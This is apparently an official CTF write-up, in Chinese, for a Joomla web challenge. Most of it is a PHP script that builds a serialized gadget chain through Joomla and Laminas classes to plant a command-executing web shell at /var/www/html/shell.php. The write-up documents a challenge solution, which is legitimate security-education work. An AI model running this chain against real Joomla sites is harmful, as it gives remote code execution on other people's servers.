UniCTF Official WriteUp
输入“/”快速插入内容
UniCTF Official WriteUp
UniCTF Official WriteUp
用户6117用户61172月5日修改
Web
Joomla Revenge!
预期解是考察自己挖掘链子, 但是网上有phpmailer地链子打法没有ban掉, 这里贴一下我自己的预期链子:
代码块
<?php
namespace Joomla\CMS\Layout;
interface LayoutInterface
{}
namespace Joomla\CMS\Layout;
class BaseLayout implements LayoutInterface
{}
namespace Psr\Http\Message;
interface StreamInterface
{}
namespace Joomla\Filesystem;
class Patcher
{
public function __construct() {
$this->destinations = [
'/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
];
$this->patches = [];
}
}
namespace Laminas\Diactoros;
use Psr\Http\Message\StreamInterface;
use Stringable;
use Joomla\Filesystem\Patcher;
class CallbackStream implements StreamInterface, Stringable
{
public function __toString(): string
{
return "";
}
public function __construct() {
$this->callback = [new Patcher(), "apply"];
}
}
namespace Joomla\Filesystem;
use Laminas\Diactoros\CallbackStream;
class Stream
{
public function __construct() {
$this->fh = 1;
$this->processingmethod = new CallbackStream();
}
}
namespace Joomla\Filesystem;
$obj = new Stream();
echo base64_encode(serialize($obj));